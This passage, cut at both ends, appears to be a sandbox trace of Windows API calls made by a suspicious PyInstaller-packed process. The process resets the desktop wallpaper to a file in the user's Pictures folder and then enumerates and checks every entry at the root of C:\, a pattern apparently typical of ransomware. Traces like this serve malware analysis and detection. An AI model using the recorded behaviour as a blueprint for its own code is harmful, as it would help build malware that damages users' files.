(Heap=0x2ad0000, Flags=0x0, Ptr=0x33f3a78, Size=0x67e) returned 0x382cb08 [0111.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055a0 | out: hHeap=0x2ad0000) returned 1 [0111.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x19cd) returned 0x33055a0 [0111.192] GetLastError () returned 0x0 [0111.192] GetLastError () returned 0x0 [0111.192] GetLastError () returned 0x0 [0111.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055a0 | out: hHeap=0x2ad0000) returned 1 [0111.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x65d) returned 0x33055a0 [0111.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0111.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf330 | out: hHeap=0x2ad0000) returned 1 [0111.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0111.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0111.193] GetLastError () returned 0x0 [0111.193] GetLastError () returned 0x0 [0111.193] GetLastError () returned 0x0 [0111.193] GetLastError () returned 0x0 [0111.193] GetLastError () returned 0x0 [0111.193] GetLastError () returned 0x0 [0111.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf330 | out: hHeap=0x2ad0000) returned 1 [0111.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8630 | out: hHeap=0x2ad0000) returned 1 [0111.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055a0 | out: hHeap=0x2ad0000) returned 1 [0111.194] GetLastError () returned 0x0 [0111.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0111.194] CloseHandle (hObject=0x3a8) returned 1 [0111.194] GetLastError () returned 0x0 [0111.195] GetCurrentThreadId () returned 0x9b0 [0111.195] GetLastError () returned 0x0 [0111.195] closesocket (s=0x3a4) returned 0 [0111.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e85a8 | out: hHeap=0x2ad0000) returned 1 [0111.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0111.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887578 | out: hHeap=0x2ad0000) returned 1 [0111.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4bb8 | out: hHeap=0x2ad0000) returned 1 [0111.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a57f8 | out: hHeap=0x2ad0000) returned 1 [0111.196] GetCurrentThreadId () returned 0x9b0 [0111.196] GetCurrentThreadId () returned 0x9b0 [0111.196] GetLastError () returned 0x0 [0111.196] GetLastError () returned 0x0 [0111.196] GetLastError () returned 0x0 [0111.196] GetLastError () returned 0x0 [0111.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0111.196] GetFileAttributesExA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\user32" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\user32"), fInfoLevelId=0x0, lpFileInformation=0x9bacd4 | out: lpFileInformation=0x9bacd4*(dwFileAttributes=0x5da629a0, ftCreationTime.dwLowDateTime=0x9bacf0, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3656da0, ftLastWriteTime.dwHighDateTime=0x9bad08, nFileSizeHigh=0x9bad84, nFileSizeLow=0x72ffe51c)) returned 0 [0111.197] GetLastError () returned 0x2 [0111.197] GetLastError () returned 0x2 [0111.197] GetLastError () returned 0x2 [0111.197] GetCurrentThreadId () returned 0x9b0 [0111.197] GetLastError () returned 0x2 [0111.197] GetLastError () returned 0x2 [0111.197] GetLastError () returned 0x2 [0111.197] GetLastError () returned 0x2 [0111.197] LocalFree (hMem=0x109cf40) returned 0x0 [0111.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0111.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de678 [0111.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4b8 [0111.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x31838e0 [0111.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881018 [0111.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de528 [0111.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0111.198] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de528, Size=0x14) returned 0x3183900 [0111.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0111.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881018 | out: hHeap=0x2ad0000) returned 1 [0111.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0111.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0111.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183900 | out: hHeap=0x2ad0000) returned 1 [0111.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0111.199] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa60, Size=0x40) returned 0x3887848 [0111.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36228e0 [0111.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3958 | out: hHeap=0x2ad0000) returned 1 [0111.199] LoadLibraryA (lpLibFileName="user32") returned 0x74b70000 [0111.200] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoA") returned 0x74b85060 [0111.200] GetLastError () returned 0x2 [0111.200] SystemParametersInfoA (in: uiAction=0x14, uiParam=0x0, pvParam="C:\\Users\\FD1HVy\\Pictures\\WindowsBackground.png" (normalized: "c:\\users\\fd1hvy\\pictures\\windowsbackground.png"), fWinIni=0x0 | out: pvParam=0x364b46c) returned 1 [0111.560] GetLastError () returned 0x0 [0111.635] GetCurrentThreadId () returned 0x9b0 [0111.635] GetLastError () returned 0x0 [0111.636] GetCurrentThreadId () returned 0x9b0 [0111.636] ResetEvent (hEvent=0x1d4) returned 1 [0111.636] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0112.641] GetLastError () returned 0x0 [0112.642] GetCurrentThreadId () returned 0x9b0 [0112.642] GetLastError () returned 0x0 [0112.642] GetLastError () returned 0x0 [0112.642] GetLastError () returned 0x0 [0112.642] GetLastError () returned 0x0 [0112.642] GetLastError () returned 0x0 [0112.642] FindFirstFileA (in: lpFileName="C:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baf0c, dwReserved1=0x73013d47, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x10f7890 [0112.643] GetLastError () returned 0x0 [0112.643] GetCurrentThreadId () returned 0x9b0 [0112.643] GetLastError () returned 0x0 [0112.643] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baf0c, dwReserved1=0x73013d47, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0112.643] GetLastError () returned 0x0 [0112.643] GetCurrentThreadId () returned 0x9b0 [0112.643] GetLastError () returned 0x0 [0112.643] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baf0c, dwReserved1=0x73013d47, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0112.643] GetLastError () returned 0x0 [0112.643] GetCurrentThreadId () returned 0x9b0 [0112.643] GetLastError () returned 0x0 [0112.643] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baf0c, dwReserved1=0x73013d47, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0112.644] GetLastError () returned 0x0 [0112.644] GetCurrentThreadId () returned 0x9b0 [0112.644] GetLastError () returned 0x0 [0112.644] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baf0c, dwReserved1=0x73013d47, cFileName="Boot", cAlternateFileName="")) returned 1 [0112.644] GetLastError () returned 0x0 [0112.644] GetCurrentThreadId () returned 0x9b0 [0112.644] GetLastError () returned 0x0 [0112.644] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810a8, Size=0x20) returned 0x3028238 [0112.644] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x9baf0c, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0112.644] GetLastError () returned 0x0 [0112.644] GetCurrentThreadId () returned 0x9b0 [0112.644] GetLastError () returned 0x0 [0112.644] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x9baf0c, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0112.645] GetLastError () returned 0x0 [0112.645] GetCurrentThreadId () returned 0x9b0 [0112.645] GetLastError () returned 0x0 [0112.645] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x9baf0c, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0112.645] GetLastError () returned 0x0 [0112.645] GetCurrentThreadId () returned 0x9b0 [0112.645] GetLastError () returned 0x0 [0112.645] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0112.645] GetLastError () returned 0x0 [0112.645] GetCurrentThreadId () returned 0x9b0 [0112.645] GetLastError () returned 0x0 [0112.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x3887770 [0112.645] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0112.645] GetLastError () returned 0x0 [0112.646] GetCurrentThreadId () returned 0x9b0 [0112.646] GetLastError () returned 0x0 [0112.646] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0112.646] GetLastError () returned 0x0 [0112.646] GetCurrentThreadId () returned 0x9b0 [0112.646] GetLastError () returned 0x0 [0112.646] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0112.646] GetLastError () returned 0x0 [0112.646] GetCurrentThreadId () returned 0x9b0 [0112.646] GetLastError () returned 0x0 [0112.646] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0112.646] GetLastError () returned 0x0 [0112.646] GetCurrentThreadId () returned 0x9b0 [0112.646] GetLastError () returned 0x0 [0112.647] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0112.647] GetLastError () returned 0x0 [0112.647] GetCurrentThreadId () returned 0x9b0 [0112.647] GetLastError () returned 0x0 [0112.647] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd129c6ad, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xd129c6ad, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0112.647] GetLastError () returned 0x0 [0112.647] GetCurrentThreadId () returned 0x9b0 [0112.647] GetLastError () returned 0x0 [0112.647] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0112.647] GetLastError () returned 0x0 [0112.647] GetCurrentThreadId () returned 0x9b0 [0112.647] GetLastError () returned 0x0 [0112.647] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0112.647] GetLastError () returned 0x0 [0112.648] GetCurrentThreadId () returned 0x9b0 [0112.648] GetLastError () returned 0x0 [0112.648] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887770, Size=0x64) returned 0x2a19b28 [0112.648] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0112.648] GetLastError () returned 0x0 [0112.648] GetCurrentThreadId () returned 0x9b0 [0112.648] GetLastError () returned 0x0 [0112.648] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0112.648] GetLastError () returned 0x0 [0112.648] GetCurrentThreadId () returned 0x9b0 [0112.648] GetLastError () returned 0x0 [0112.648] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0112.648] GetLastError () returned 0x0 [0112.648] GetCurrentThreadId () returned 0x9b0 [0112.648] GetLastError () returned 0x0 [0112.649] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0112.649] GetLastError () returned 0x0 [0112.649] GetCurrentThreadId () returned 0x9b0 [0112.649] GetLastError () returned 0x0 [0112.649] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0112.649] GetLastError () returned 0x0 [0112.649] GetCurrentThreadId () returned 0x9b0 [0112.649] GetLastError () returned 0x0 [0112.649] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0112.649] GetLastError () returned 0x0 [0112.649] GetCurrentThreadId () returned 0x9b0 [0112.649] GetLastError () returned 0x0 [0112.649] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0112.649] GetLastError () returned 0x12 [0112.650] GetCurrentThreadId () returned 0x9b0 [0112.650] GetLastError () returned 0x12 [0112.650] GetLastError () returned 0x12 [0112.650] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0112.650] GetCurrentThreadId () returned 0x9b0 [0112.650] GetLastError () returned 0x12 [0112.650] GetLastError () returned 0x12 [0112.650] GetLastError () returned 0x12 [0112.650] GetLastError () returned 0x12 [0112.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0112.650] GetFileAttributesA (lpFileName="C:\\$GetCurrent" (normalized: "c:\\$getcurrent")) returned 0x12 [0112.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810d8 | out: hHeap=0x2ad0000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812b8 [0112.652] GetLastError () returned 0x12 [0112.652] GetLastError () returned 0x12 [0112.652] GetLastError () returned 0x12 [0112.652] GetLastError () returned 0x12 [0112.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810d8 | out: hHeap=0x2ad0000) returned 1 [0112.653] GetFileAttributesA (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin")) returned 0x16 [0112.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0112.657] GetCurrentThreadId () returned 0x9b0 [0112.657] GetLastError () returned 0x12 [0112.657] GetLastError () returned 0x12 [0112.657] GetLastError () returned 0x12 [0112.657] GetLastError () returned 0x12 [0112.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0112.657] GetFileAttributesA (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker")) returned 0x22 [0112.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881120 [0112.658] GetLastError () returned 0x12 [0112.658] GetLastError () returned 0x12 [0112.658] GetLastError () returned 0x12 [0112.658] GetLastError () returned 0x12 [0112.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0112.659] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212" (normalized: "c:\\588bce7c90097ed212")) returned 0x10 [0112.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b80 | out: hHeap=0x2ad0000) returned 1 [0112.660] GetCurrentThreadId () returned 0x9b0 [0112.660] GetLastError () returned 0x12 [0112.660] GetLastError () returned 0x12 [0112.660] GetLastError () returned 0x12 [0112.660] GetLastError () returned 0x12 [0112.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810c0 | out: hHeap=0x2ad0000) returned 1 [0112.660] GetFileAttributesA (lpFileName="C:\\Boot" (normalized: "c:\\boot")) returned 0x16 [0112.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0112.661] 